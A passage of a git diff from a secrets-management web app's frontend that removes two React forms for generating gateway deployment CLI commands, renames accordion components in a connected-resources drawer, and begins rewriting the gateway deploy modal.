--- a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayCliDeploymentMethod.tsx
+++ /dev/null
@@ -1,367 +0,0 @@
-import { useMemo, useState } from "react";
-import { SingleValue } from "react-select";
-import { faCopy, faQuestionCircle, faUpRightFromSquare } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
-import { useNavigate } from "@tanstack/react-router";
-import { z } from "zod";
-
-import { createNotification } from "@app/components/notifications";
-import {
-  Button,
-  Checkbox,
-  FilterableSelect,
-  FormLabel,
-  IconButton,
-  Input,
-  ModalClose,
-  Tooltip
-} from "@app/components/v2";
-import { ROUTE_PATHS } from "@app/const/routes";
-import {
-  OrgPermissionIdentityActions,
-  OrgPermissionSubjects,
-  useOrganization,
-  useOrgPermission
-} from "@app/context";
-import {
-  useAddIdentityTokenAuth,
-  useCreateTokenIdentityTokenAuth,
-  useGetIdentityMembershipOrgs,
-  useGetIdentityTokenAuth,
-  useGetRelays
-} from "@app/hooks/api";
-import { safeJWTSchema, slugSchema } from "@app/lib/schemas";
-
-import { RelayOption } from "./RelayOption";
-
-const baseFormSchema = z.object({
-  name: slugSchema({ field: "name" }),
-  relay: z
-    .object(
-      {
-        id: z.string(),
-        name: z.string()
-      },
-      { required_error: "Relay is required" }
-    )
-    .nullable()
-    .refine((val) => val !== null, { message: "Relay is required" })
-});
-
-const formSchemaWithIdentity = baseFormSchema.extend({
-  identity: z
-    .object(
-      {
-        id: z.string(),
-        name: z.string()
-      },
-      { required_error: "Machine identity is required" }
-    )
-    .nullable()
-    .refine((val) => val !== null, { message: "Machine identity is required" })
-});
-
-const formSchemaWithToken = baseFormSchema.extend({
-  identityToken: safeJWTSchema
-});
-
-export const GatewayCliDeploymentMethod = () => {
-  const { protocol, hostname, port } = window.location;
-  const portSuffix = port && port !== "80" ? `:${port}` : "";
-  const siteURL = `${protocol}//${hostname}${portSuffix}`;
-
-  const navigate = useNavigate({
-    from: ROUTE_PATHS.Organization.NetworkingPage.path
-  });
-
-  const [autogenerateToken, setAutogenerateToken] = useState(true);
-  const [step, setStep] = useState<"form" | "command">("form");
-  const [name, setName] = useState("");
-  const [relay, setRelay] = useState<null | {
-    id: string;
-    name: string;
-  }>({ id: "_auto", name: "Auto Select Relay" });
-  const [identity, setIdentity] = useState<null | {
-    id: string;
-    name: string;
-  }>(null);
-  const [identityToken, setIdentityToken] = useState("");
-  const [formErrors, setFormErrors] = useState<z.ZodIssue[]>([]);
-
-  const errors = useMemo(() => {
-    const errorMap: Record<string, string | undefined> = {};
-    formErrors.forEach((issue) => {
-      if (issue.path.length > 0) {
-        errorMap[String(issue.path[0])] = issue.message;
-      }
-    });
-    return errorMap;
-  }, [formErrors]);
-
-  const { data: relays, isPending: isRelaysLoading } = useGetRelays();
-
-  const { currentOrg } = useOrganization();
-  const organizationId = currentOrg?.id || "";
-
-  const { permission } = useOrgPermission();
-  const canCreateToken = permission.can(
-    OrgPermissionIdentityActions.CreateToken,
-    OrgPermissionSubjects.Identity
-  );
-
-  const { data: identityMembershipOrgsData, isPending: isIdentitiesLoading } =
-    useGetIdentityMembershipOrgs({
-      organizationId,
-      limit: 20000
-    });
-  const identityMembershipOrgs = identityMembershipOrgsData?.identityMemberships || [];
-
-  const { mutateAsync: createToken, isPending: isCreatingToken } =
-    useCreateTokenIdentityTokenAuth();
-  const { mutateAsync: addIdentityTokenAuth, isPending: isAddingTokenAuth } =
-    useAddIdentityTokenAuth();
-  const { refetch } = useGetIdentityTokenAuth(identity?.id ?? "");
-
-  const handleGenerateCommand = async () => {
-    setFormErrors([]);
-
-    if (canCreateToken && autogenerateToken) {
-      const validation = formSchemaWithIdentity.safeParse({
-        name,
-        relay,
-        identity
-      });
-      if (!validation.success) {
-        setFormErrors(validation.error.issues);
-        return;
-      }
-
-      const validatedIdentity = validation.data.identity;
-
-      try {
-        const { data: identityTokenAuth } = await refetch();
-        if (!identityTokenAuth) {
-          await addIdentityTokenAuth({
-            identityId: validatedIdentity.id,
-            organizationId,
-            accessTokenTTL: 2592000,
-            accessTokenMaxTTL: 2592000,
-            accessTokenNumUsesLimit: 0,
-            accessTokenTrustedIps: [{ ipAddress: "0.0.0.0/0" }, { ipAddress: "::/0" }]
-          });
-          createNotification({
-            text: "Token authentication has been automatically enabled for the selected identity. By default, it is configured to allow all IP addresses with a default token TTL of 30 days. You can manage these settings in Access Control.",
-            type: "warning"
-          });
-        }
-
-        const token = await createToken({
-          identityId: validatedIdentity.id,
-          name: `gateway token for ${name} (autogenerated)`
-        });
-        setIdentityToken(token.accessToken);
-        createNotification({
-          text: "Automatically generated a token for the selected identity.",
-          type: "info"
-        });
-        setStep("command");
-      } catch {
-        setIdentityToken("");
-      }
-    } else {
-      const validation = formSchemaWithToken.safeParse({
-        name,
-        relay,
-        identityToken
-      });
-      if (!validation.success) {
-        setFormErrors(validation.error.issues);
-        return;
-      }
-      setStep("command");
-    }
-  };
-
-  const command = useMemo(() => {
-    const relayPart = relay?.id !== "_auto" ? ` --target-relay-name=${relay?.name || ""}` : "";
-    return `sudo infisical gateway start --name=${name}${relayPart} --domain=${siteURL} --token=${identityToken}`;
-  }, [name, relay, identityToken, siteURL]);
-
-  if (step === "command") {
-    return (
-      <>
-        <FormLabel label="CLI Command" />
-        <div className="flex gap-2">
-          <Input value={command} isDisabled />
-          <IconButton
-            ariaLabel="copy"
-            variant="outline_bg"
-            colorSchema="secondary"
-            onClick={() => {
-              navigator.clipboard.writeText(command);
-              createNotification({
-                text: "Command copied to clipboard",
-                type: "info"
-              });
-            }}
-            className="w-10"
-          >
-            <FontAwesomeIcon icon={faCopy} />
-          </IconButton>
-        </div>
-        <a
-          href="https://infisical.com/docs/cli/overview"
-          target="_blank"
-          className="mt-2 flex h-4 w-fit items-center gap-2 border-b border-mineshaft-400 text-sm text-mineshaft-400 transition-colors duration-100 hover:border-yellow-400 hover:text-yellow-400"
-          rel="noreferrer"
-        >
-          <span>Install the Infisical CLI</span>
-          <FontAwesomeIcon icon={faUpRightFromSquare} className="size-3" />
-        </a>
-        <div className="mt-6 flex items-center">
-          <ModalClose asChild>
-            <Button className="mr-4" size="sm" colorSchema="secondary">
-              Done
-            </Button>
-          </ModalClose>
-        </div>
-      </>
-    );
-  }
-
-  return (
-    <>
-      <FormLabel label="Name" tooltipText="The name for your gateway." />
-      <Input
-        value={name}
-        onChange={(e) => setName(e.target.value)}
-        placeholder="Enter gateway name..."
-        isError={Boolean(errors.name)}
-      />
-      {errors.name && <p className="mt-1 text-sm text-red">{errors.name}</p>}
-
-      <FormLabel label="Relay" tooltipText="The relay to use with your gateway." className="mt-4" />
-      <FilterableSelect
-        value={relay}
-        onChange={(newValue) => {
-          if ((newValue as SingleValue<{ id: string }>)?.id === "_create") {
-            navigate({
-              search: (prev) => ({ ...prev, selectedTab: "relays", action: "deploy-relay" })
-            });
-            return;
-          }
-
-          setRelay(newValue as SingleValue<{ id: string; name: string }>);
-        }}
-        isLoading={isRelaysLoading}
-        options={[
-          {
-            id: "_auto",
-            name: "Auto Select Relay"
-          },
-          {
-            id: "_create",
-            name: "Deploy New Relay"
-          },
-          ...(relays || [])
-        ]}
-        placeholder="Select relay..."
-        getOptionLabel={(option) => option.name}
-        getOptionValue={(option) => option.id}
-        components={{ Option: RelayOption }}
-      />
-      {errors.relay && <p className="mt-1 text-sm text-red">{errors.relay}</p>}
-
-      {canCreateToken && autogenerateToken ? (
-        <>
-          <FormLabel
-            label="Machine Identity"
-            tooltipText="The machine identity that your gateway will use for authentication."
-            className="mt-4"
-          />
-          <FilterableSelect
-            value={identity}
-            onChange={(e) =>
-              setIdentity(
-                e as SingleValue<{
-                  id: string;
-                  name: string;
-                }>
-              )
-            }
-            isLoading={isIdentitiesLoading}
-            placeholder="Select machine identity..."
-            options={identityMembershipOrgs.map((membership) => membership.identity)}
-            getOptionValue={(option) => option.id}
-            getOptionLabel={(option) => option.name}
-          />
-          {errors.identity && <p className="mt-1 text-sm text-red">{errors.identity}</p>}
-        </>
-      ) : (
-        <>
-          <FormLabel
-            label="Machine Identity Token"
-            tooltipText="The machine identity token that your gateway will use for authentication."
-            className="mt-4"
-          />
-          <Input
-            value={identityToken}
-            onChange={(e) => setIdentityToken(e.target.value)}
-            placeholder="Enter machine identity token..."
-            isError={Boolean(errors.identityToken)}
-          />
-          {errors.identityToken && <p className="mt-1 text-sm text-red">{errors.identityToken}</p>}
-        </>
-      )}
-
-      {canCreateToken && (
-        <div className="mt-2">
-          <Checkbox
-            isChecked={autogenerateToken}
-            onCheckedChange={(e) => {
-              setAutogenerateToken(Boolean(e));
-            }}
-            id="autogenerate-token"
-            className="mr-2"
-          >
-            <div className="flex items-center">
-              <span>Automatically enable token auth and generate a token for machine identity</span>
-              <Tooltip
-                className="max-w-md"
-                content={
-                  <>
-                    Token authentication will be automatically enabled for the selected machine
-                    identity if it isn&apos;t already configured. By default, it will be configured
-                    to allow all IP addresses with a token TTL of 30 days. You can manage these
-                    settings in Access Control.
-                    <br />
-                    <br />A token will automatically be generated to be used with the CLI command.
-                  </>
-                }
-              >
-                <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="mt-0.5 ml-1" />
-              </Tooltip>
-            </div>
-          </Checkbox>
-        </div>
-      )}
-
-      <div className="mt-6 flex items-center">
-        <Button
-          className="mr-4"
-          size="sm"
-          colorSchema="secondary"
-          onClick={handleGenerateCommand}
-          isLoading={isCreatingToken || isAddingTokenAuth}
-        >
-          Continue
-        </Button>
-        <ModalClose asChild>
-          <Button colorSchema="secondary" variant="plain">
-            Cancel
-          </Button>
-        </ModalClose>
-      </div>
-    </>
-  );
-};
diff --git a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayCliSystemdDeploymentMethod.tsx b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayCliSystemdDeploymentMethod.tsx
deleted file mode 100644
index 3b0c458f96c..00000000000
--- a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayCliSystemdDeploymentMethod.tsx
+++ /dev/null
@@ -1,389 +0,0 @@
-import { useMemo, useState } from "react";
-import { SingleValue } from "react-select";
-import { faCopy, faQuestionCircle, faUpRightFromSquare } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
-import { useNavigate } from "@tanstack/react-router";
-import { z } from "zod";
-
-import { createNotification } from "@app/components/notifications";
-import {
-  Button,
-  Checkbox,
-  FilterableSelect,
-  FormLabel,
-  IconButton,
-  Input,
-  ModalClose,
-  Tooltip
-} from "@app/components/v2";
-import { ROUTE_PATHS } from "@app/const/routes";
-import {
-  OrgPermissionIdentityActions,
-  OrgPermissionSubjects,
-  useOrganization,
-  useOrgPermission
-} from "@app/context";
-import {
-  useAddIdentityTokenAuth,
-  useCreateTokenIdentityTokenAuth,
-  useGetIdentityMembershipOrgs,
-  useGetIdentityTokenAuth,
-  useGetRelays
-} from "@app/hooks/api";
-import { safeJWTSchema, slugSchema } from "@app/lib/schemas";
-
-import { RelayOption } from "./RelayOption";
-
-const baseFormSchema = z.object({
-  name: slugSchema({ field: "name" }),
-  relay: z
-    .object(
-      {
-        id: z.string(),
-        name: z.string()
-      },
-      { required_error: "Relay is required" }
-    )
-    .nullable()
-    .refine((val) => val !== null, { message: "Relay is required" })
-});
-
-const formSchemaWithIdentity = baseFormSchema.extend({
-  identity: z
-    .object(
-      {
-        id: z.string(),
-        name: z.string()
-      },
-      { required_error: "Machine identity is required" }
-    )
-    .nullable()
-    .refine((val) => val !== null, { message: "Machine identity is required" })
-});
-
-const formSchemaWithToken = baseFormSchema.extend({
-  identityToken: safeJWTSchema
-});
-
-export const GatewayCliSystemdDeploymentMethod = () => {
-  const { protocol, hostname, port } = window.location;
-  const portSuffix = port && port !== "80" ? `:${port}` : "";
-  const siteURL = `${protocol}//${hostname}${portSuffix}`;
-
-  const navigate = useNavigate({
-    from: ROUTE_PATHS.Organization.NetworkingPage.path
-  });
-
-  const [autogenerateToken, setAutogenerateToken] = useState(true);
-  const [step, setStep] = useState<"form" | "command">("form");
-  const [name, setName] = useState("");
-  const [relay, setRelay] = useState<null | {
-    id: string;
-    name: string;
-  }>({ id: "_auto", name: "Auto Select Relay" });
-  const [identity, setIdentity] = useState<null | {
-    id: string;
-    name: string;
-  }>(null);
-  const [identityToken, setIdentityToken] = useState("");
-  const [formErrors, setFormErrors] = useState<z.ZodIssue[]>([]);
-
-  const errors = useMemo(() => {
-    const errorMap: Record<string, string | undefined> = {};
-    formErrors.forEach((issue) => {
-      if (issue.path.length > 0) {
-        errorMap[String(issue.path[0])] = issue.message;
-      }
-    });
-    return errorMap;
-  }, [formErrors]);
-
-  const { data: relays, isPending: isRelaysLoading } = useGetRelays();
-
-  const { currentOrg } = useOrganization();
-  const organizationId = currentOrg?.id || "";
-
-  const { permission } = useOrgPermission();
-  const canCreateToken = permission.can(
-    OrgPermissionIdentityActions.CreateToken,
-    OrgPermissionSubjects.Identity
-  );
-
-  const { data: identityMembershipOrgsData, isPending: isIdentitiesLoading } =
-    useGetIdentityMembershipOrgs({
-      organizationId,
-      limit: 20000
-    });
-  const identityMembershipOrgs = identityMembershipOrgsData?.identityMemberships || [];
-
-  const { mutateAsync: createToken, isPending: isCreatingToken } =
-    useCreateTokenIdentityTokenAuth();
-  const { mutateAsync: addIdentityTokenAuth, isPending: isAddingTokenAuth } =
-    useAddIdentityTokenAuth();
-  const { refetch } = useGetIdentityTokenAuth(identity?.id ?? "");
-
-  const handleGenerateCommand = async () => {
-    setFormErrors([]);
-
-    if (canCreateToken && autogenerateToken) {
-      const validation = formSchemaWithIdentity.safeParse({
-        name,
-        relay,
-        identity
-      });
-      if (!validation.success) {
-        setFormErrors(validation.error.issues);
-        return;
-      }
-
-      const validatedIdentity = validation.data.identity;
-
-      try {
-        const { data: identityTokenAuth } = await refetch();
-        if (!identityTokenAuth) {
-          await addIdentityTokenAuth({
-            identityId: validatedIdentity.id,
-            organizationId,
-            accessTokenTTL: 2592000,
-            accessTokenMaxTTL: 2592000,
-            accessTokenNumUsesLimit: 0,
-            accessTokenTrustedIps: [{ ipAddress: "0.0.0.0/0" }, { ipAddress: "::/0" }]
-          });
-          createNotification({
-            text: "Token authentication has been automatically enabled for the selected identity. By default, it is configured to allow all IP addresses with a default token TTL of 30 days. You can manage these settings in Access Control.",
-            type: "warning"
-          });
-        }
-
-        const token = await createToken({
-          identityId: validatedIdentity.id,
-          name: `gateway token for ${name} (autogenerated)`
-        });
-        setIdentityToken(token.accessToken);
-        createNotification({
-          text: "Automatically generated a token for the selected identity.",
-          type: "info"
-        });
-        setStep("command");
-      } catch {
-        setIdentityToken("");
-      }
-    } else {
-      const validation = formSchemaWithToken.safeParse({
-        name,
-        relay,
-        identityToken
-      });
-      if (!validation.success) {
-        setFormErrors(validation.error.issues);
-        return;
-      }
-      setStep("command");
-    }
-  };
-
-  const installCommand = useMemo(() => {
-    const relayPart = relay?.id !== "_auto" ? ` --target-relay-name=${relay?.name || ""}` : "";
-    return `sudo infisical gateway systemd install --name=${name}${relayPart} --domain=${siteURL} --token=${identityToken}`;
-  }, [name, relay, identityToken, siteURL]);
-
-  const startServiceCommand = "sudo systemctl start infisical-gateway";
-
-  if (step === "command") {
-    return (
-      <>
-        <FormLabel label="Installation Command" />
-        <div className="flex gap-2">
-          <Input value={installCommand} isDisabled />
-          <IconButton
-            ariaLabel="copy install command"
-            variant="outline_bg"
-            colorSchema="secondary"
-            onClick={() => {
-              navigator.clipboard.writeText(installCommand);
-              createNotification({
-                text: "Installation command copied to clipboard",
-                type: "info"
-              });
-            }}
-            className="w-10"
-          >
-            <FontAwesomeIcon icon={faCopy} />
-          </IconButton>
-        </div>
-
-        <FormLabel label="Start the Gateway Service" className="mt-4" />
-        <div className="mb-2 flex gap-2">
-          <Input value={startServiceCommand} isDisabled />
-          <IconButton
-            ariaLabel="copy start service command"
-            variant="outline_bg"
-            colorSchema="secondary"
-            onClick={() => {
-              navigator.clipboard.writeText(startServiceCommand);
-              createNotification({
-                text: "Start service command copied to clipboard",
-                type: "info"
-              });
-            }}
-            className="w-10"
-          >
-            <FontAwesomeIcon icon={faCopy} />
-          </IconButton>
-        </div>
-        <a
-          href="https://infisical.com/docs/cli/overview"
-          target="_blank"
-          className="mt-2 flex h-4 w-fit items-center gap-2 border-b border-mineshaft-400 text-sm text-mineshaft-400 transition-colors duration-100 hover:border-yellow-400 hover:text-yellow-400"
-          rel="noreferrer"
-        >
-          <span>Install the Infisical CLI</span>
-          <FontAwesomeIcon icon={faUpRightFromSquare} className="size-3" />
-        </a>
-        <div className="mt-6 flex items-center">
-          <ModalClose asChild>
-            <Button className="mr-4" size="sm" colorSchema="secondary">
-              Done
-            </Button>
-          </ModalClose>
-        </div>
-      </>
-    );
-  }
-
-  return (
-    <>
-      <FormLabel label="Name" tooltipText="The name for your gateway." />
-      <Input
-        value={name}
-        onChange={(e) => setName(e.target.value)}
-        placeholder="Enter gateway name..."
-        isError={Boolean(errors.name)}
-      />
-      {errors.name && <p className="mt-1 text-sm text-red">{errors.name}</p>}
-
-      <FormLabel label="Relay" tooltipText="The relay to use with your gateway." className="mt-4" />
-      <FilterableSelect
-        value={relay}
-        onChange={(newValue) => {
-          if ((newValue as SingleValue<{ id: string }>)?.id === "_create") {
-            navigate({
-              search: (prev) => ({ ...prev, selectedTab: "relays", action: "deploy-relay" })
-            });
-            return;
-          }
-
-          setRelay(newValue as SingleValue<{ id: string; name: string }>);
-        }}
-        isLoading={isRelaysLoading}
-        options={[
-          {
-            id: "_auto",
-            name: "Auto Select Relay"
-          },
-          {
-            id: "_create",
-            name: "Deploy New Relay"
-          },
-          ...(relays || [])
-        ]}
-        placeholder="Select relay..."
-        getOptionLabel={(option) => option.name}
-        getOptionValue={(option) => option.id}
-        components={{ Option: RelayOption }}
-      />
-      {errors.relay && <p className="mt-1 text-sm text-red">{errors.relay}</p>}
-
-      {canCreateToken && autogenerateToken ? (
-        <>
-          <FormLabel
-            label="Machine Identity"
-            tooltipText="The machine identity that your gateway will use for authentication."
-            className="mt-4"
-          />
-          <FilterableSelect
-            value={identity}
-            onChange={(e) =>
-              setIdentity(
-                e as SingleValue<{
-                  id: string;
-                  name: string;
-                }>
-              )
-            }
-            isLoading={isIdentitiesLoading}
-            placeholder="Select machine identity..."
-            options={identityMembershipOrgs.map((membership) => membership.identity)}
-            getOptionValue={(option) => option.id}
-            getOptionLabel={(option) => option.name}
-          />
-          {errors.identity && <p className="mt-1 text-sm text-red">{errors.identity}</p>}
-        </>
-      ) : (
-        <>
-          <FormLabel
-            label="Machine Identity Token"
-            tooltipText="The machine identity token that your gateway will use for authentication."
-            className="mt-4"
-          />
-          <Input
-            value={identityToken}
-            onChange={(e) => setIdentityToken(e.target.value)}
-            placeholder="Enter machine identity token..."
-            isError={Boolean(errors.identityToken)}
-          />
-          {errors.identityToken && <p className="mt-1 text-sm text-red">{errors.identityToken}</p>}
-        </>
-      )}
-
-      {canCreateToken && (
-        <div className="mt-2">
-          <Checkbox
-            isChecked={autogenerateToken}
-            onCheckedChange={(e) => {
-              setAutogenerateToken(Boolean(e));
-            }}
-            id="autogenerate-token"
-            className="mr-2"
-          >
-            <div className="flex items-center">
-              <span>Automatically enable token auth and generate a token for machine identity</span>
-              <Tooltip
-                className="max-w-md"
-                content={
-                  <>
-                    Token authentication will be automatically enabled for the selected machine
-                    identity if it isn&apos;t already configured. By default, it will be configured
-                    to allow all IP addresses with a token TTL of 30 days. You can manage these
-                    settings in Access Control.
-                    <br />
-                    <br />A token will automatically be generated to be used with the CLI command.
-                  </>
-                }
-              >
-                <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="mt-0.5 ml-1" />
-              </Tooltip>
-            </div>
-          </Checkbox>
-        </div>
-      )}
-
-      <div className="mt-6 flex items-center">
-        <Button
-          className="mr-4"
-          size="sm"
-          colorSchema="secondary"
-          onClick={handleGenerateCommand}
-          isLoading={isCreatingToken || isAddingTokenAuth}
-        >
-          Continue
-        </Button>
-        <ModalClose asChild>
-          <Button colorSchema="secondary" variant="plain">
-            Cancel
-          </Button>
-        </ModalClose>
-      </div>
-    </>
-  );
-};
diff --git a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayConnectedResourcesDrawer.tsx b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayConnectedResourcesDrawer.tsx
index dfd3fbdf06d..acb60b3f49c 100644
--- a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayConnectedResourcesDrawer.tsx
+++ b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayConnectedResourcesDrawer.tsx
@@ -3,17 +3,17 @@ import { ExternalLinkIcon } from "lucide-react";
 
 import { Spinner } from "@app/components/v2";
 import {
+  Accordion,
+  AccordionContent,
+  AccordionItem,
+  AccordionTrigger,
   Badge,
   Sheet,
   SheetContent,
   SheetDescription,
   SheetFooter,
   SheetHeader,
-  SheetTitle,
-  UnstableAccordion,
-  UnstableAccordionContent,
-  UnstableAccordionItem,
-  UnstableAccordionTrigger
+  SheetTitle
 } from "@app/components/v3";
 import { useOrganization } from "@app/context";
 import {
@@ -129,14 +129,14 @@ export const GatewayConnectedResourcesDrawer = ({
               </p>
 
               {totalCount > 0 && (
-                <UnstableAccordion type="multiple" defaultValue={defaultOpenSections}>
+                <Accordion type="multiple" defaultValue={defaultOpenSections}>
                   {(resources?.appConnections.length ?? 0) > 0 && (
-                    <UnstableAccordionItem value="app-connections">
-                      <UnstableAccordionTrigger>
+                    <AccordionItem value="app-connections">
+                      <AccordionTrigger>
                         <span className="flex-1">App Connections</span>
                         <Badge variant="neutral">{resources?.appConnections.length}</Badge>
-                      </UnstableAccordionTrigger>
-                      <UnstableAccordionContent className="p-0">
+                      </AccordionTrigger>
+                      <AccordionContent className="p-0">
                         {resources?.appConnections.map((conn, idx) => (
                           <ResourceRow
                             key={conn.id}
@@ -151,17 +151,17 @@ export const GatewayConnectedResourcesDrawer = ({
                             isLast={idx === (resources?.appConnections.length ?? 0) - 1}
                           />
                         ))}
-                      </UnstableAccordionContent>
-                    </UnstableAccordionItem>
+                      </AccordionContent>
+                    </AccordionItem>
                   )}
 
                   {(resources?.dynamicSecrets.length ?? 0) > 0 && (
-                    <UnstableAccordionItem value="dynamic-secrets">
-                      <UnstableAccordionTrigger>
+                    <AccordionItem value="dynamic-secrets">
+                      <AccordionTrigger>
                         <span className="flex-1">Dynamic Secrets</span>
                         <Badge variant="neutral">{resources?.dynamicSecrets.length}</Badge>
-                      </UnstableAccordionTrigger>
-                      <UnstableAccordionContent className="p-0">
+                      </AccordionTrigger>
+                      <AccordionContent className="p-0">
                         {resources?.dynamicSecrets.map((ds, idx) => (
                           <ResourceRow
                             key={ds.id}
@@ -176,17 +176,17 @@ export const GatewayConnectedResourcesDrawer = ({
                             isLast={idx === (resources?.dynamicSecrets.length ?? 0) - 1}
                           />
                         ))}
-                      </UnstableAccordionContent>
-                    </UnstableAccordionItem>
+                      </AccordionContent>
+                    </AccordionItem>
                   )}
 
                   {(resources?.pamResources.length ?? 0) > 0 && (
-                    <UnstableAccordionItem value="pam-resources">
-                      <UnstableAccordionTrigger>
+                    <AccordionItem value="pam-resources">
+                      <AccordionTrigger>
                         <span className="flex-1">PAM Resources</span>
                         <Badge variant="neutral">{resources?.pamResources.length}</Badge>
-                      </UnstableAccordionTrigger>
-                      <UnstableAccordionContent className="p-0">
+                      </AccordionTrigger>
+                      <AccordionContent className="p-0">
                         {resources?.pamResources.map((res, idx) => (
                           <ResourceRow
                             key={res.id}
@@ -202,17 +202,17 @@ export const GatewayConnectedResourcesDrawer = ({
                             isLast={idx === (resources?.pamResources.length ?? 0) - 1}
                           />
                         ))}
-                      </UnstableAccordionContent>
-                    </UnstableAccordionItem>
+                      </AccordionContent>
+                    </AccordionItem>
                   )}
 
                   {(resources?.pamDiscoverySources.length ?? 0) > 0 && (
-                    <UnstableAccordionItem value="pam-discovery">
-                      <UnstableAccordionTrigger>
+                    <AccordionItem value="pam-discovery">
+                      <AccordionTrigger>
                         <span className="flex-1">Discovery Sources</span>
                         <Badge variant="neutral">{resources?.pamDiscoverySources.length}</Badge>
-                      </UnstableAccordionTrigger>
-                      <UnstableAccordionContent className="p-0">
+                      </AccordionTrigger>
+                      <AccordionContent className="p-0">
                         {resources?.pamDiscoverySources.map((source, idx) => (
                           <ResourceRow
                             key={source.id}
@@ -228,17 +228,17 @@ export const GatewayConnectedResourcesDrawer = ({
                             isLast={idx === (resources?.pamDiscoverySources.length ?? 0) - 1}
                           />
                         ))}
-                      </UnstableAccordionContent>
-                    </UnstableAccordionItem>
+                      </AccordionContent>
+                    </AccordionItem>
                   )}
 
                   {(resources?.kubernetesAuths.length ?? 0) > 0 && (
-                    <UnstableAccordionItem value="kubernetes-auth">
-                      <UnstableAccordionTrigger>
+                    <AccordionItem value="kubernetes-auth">
+                      <AccordionTrigger>
                         <span className="flex-1">Kubernetes Auth</span>
                         <Badge variant="neutral">{resources?.kubernetesAuths.length}</Badge>
-                      </UnstableAccordionTrigger>
-                      <UnstableAccordionContent className="p-0">
+                      </AccordionTrigger>
+                      <AccordionContent className="p-0">
                         {resources?.kubernetesAuths.map((auth, idx) => (
                           <ResourceRow
                             key={auth.id}
@@ -249,17 +249,17 @@ export const GatewayConnectedResourcesDrawer = ({
                             isLast={idx === (resources?.kubernetesAuths.length ?? 0) - 1}
                           />
                         ))}
-                      </UnstableAccordionContent>
-                    </UnstableAccordionItem>
+                      </AccordionContent>
+                    </AccordionItem>
                   )}
 
                   {(resources?.mcpServers.length ?? 0) > 0 && (
-                    <UnstableAccordionItem value="mcp-servers">
-                      <UnstableAccordionTrigger>
+                    <AccordionItem value="mcp-servers">
+                      <AccordionTrigger>
                         <span className="flex-1">MCP Servers</span>
                         <Badge variant="neutral">{resources?.mcpServers.length}</Badge>
-                      </UnstableAccordionTrigger>
-                      <UnstableAccordionContent className="p-0">
+                      </AccordionTrigger>
+                      <AccordionContent className="p-0">
                         {resources?.mcpServers.map((server, idx) => (
                           <ResourceRow
                             key={server.id}
@@ -274,17 +274,17 @@ export const GatewayConnectedResourcesDrawer = ({
                             isLast={idx === (resources?.mcpServers.length ?? 0) - 1}
                           />
                         ))}
-                      </UnstableAccordionContent>
-                    </UnstableAccordionItem>
+                      </AccordionContent>
+                    </AccordionItem>
                   )}
 
                   {(resources?.pkiDiscoveryConfigs.length ?? 0) > 0 && (
-                    <UnstableAccordionItem value="pki-discovery">
-                      <UnstableAccordionTrigger>
+                    <AccordionItem value="pki-discovery">
+                      <AccordionTrigger>
                         <span className="flex-1">PKI Discovery</span>
                         <Badge variant="neutral">{resources?.pkiDiscoveryConfigs.length}</Badge>
-                      </UnstableAccordionTrigger>
-                      <UnstableAccordionContent className="p-0">
+                      </AccordionTrigger>
+                      <AccordionContent className="p-0">
                         {resources?.pkiDiscoveryConfigs.map((config, idx) => (
                           <ResourceRow
                             key={config.id}
@@ -299,10 +299,10 @@ export const GatewayConnectedResourcesDrawer = ({
                             isLast={idx === (resources?.pkiDiscoveryConfigs.length ?? 0) - 1}
                           />
                         ))}
-                      </UnstableAccordionContent>
-                    </UnstableAccordionItem>
+                      </AccordionContent>
+                    </AccordionItem>
                   )}
-                </UnstableAccordion>
+                </Accordion>
               )}
             </div>
           )}
diff --git a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayDeployModal.tsx b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayDeployModal.tsx
index dacd08e749e..c037b6144ec 100644
--- a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayDeployModal.tsx
+++ b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayDeployModal.tsx
@@ -1,45 +1,260 @@
-import { useState } from "react";
+import { useMemo, useState } from "react";
+import { SingleValue } from "react-select";
+import { faCopy, faUpRightFromSquare } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+import { useQuery } from "@tanstack/react-query";
+import { useNavigate } from "@tanstack/react-router";
+import { z } from "zod";
 
-import { Modal, ModalContent } from "@app/components/v2";
-import { GatewayDeploymentMethodSelect } from "@app/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayDeploymentMethodSelect";
+import { createNotification } from "@app/components/notifications";
+import {
+  Button,
+  FilterableSelect,
+  FormLabel,
+  IconButton,
+  Input,
+  Modal,
+  ModalClose,
+  ModalContent,
+  Tab,
+  TabList,
+  TabPanel,
+  Tabs
+} from "@app/components/v2";
+import { ROUTE_PATHS } from "@app/const/routes";
+import { gatewaysQueryKeys } from "@app/hooks/api/gateways";
+import { useConfigureGatewayTokenAuth, useCreateGateway } from "@app/hooks/api/gateways-v2";
+import { useGetRelays } from "@app/hooks/api/relays/queries";
+import { slugSchema } from "@app/lib/schemas";
 
-import { GatewayCliDeploymentMethod } from "./GatewayCliDeploymentMethod";
-import { GatewayCliSystemdDeploymentMethod } from "./GatewayCliSystemdDeploymentMethod";
+import { RelayOption } from "./RelayOption";
+
+const formSchema = z.object({
+  name: slugSchema({ field: "name" }),
+  relay: z
+    .object({ id: z.string(), name: z.string() }, { required_error: "Relay is required" })
+    .nullable()
+    .refine((val) => val !== null, { message: "Relay is required" })
+});
 
 type Props = {
   isOpen: boolean;
   onOpenChange: (isOpen: boolean) => void;
 };
 
-export const GatewayDeploymentInfoMap = {
-  cli: { name: "CLI", image: "SSH.png", component: GatewayCliDeploymentMethod },
-  systemd: { name: "CLI (systemd)", image: "SSH.png", component: GatewayCliSystemdDeploymentMethod }
-} as const;
+const Content = () => {
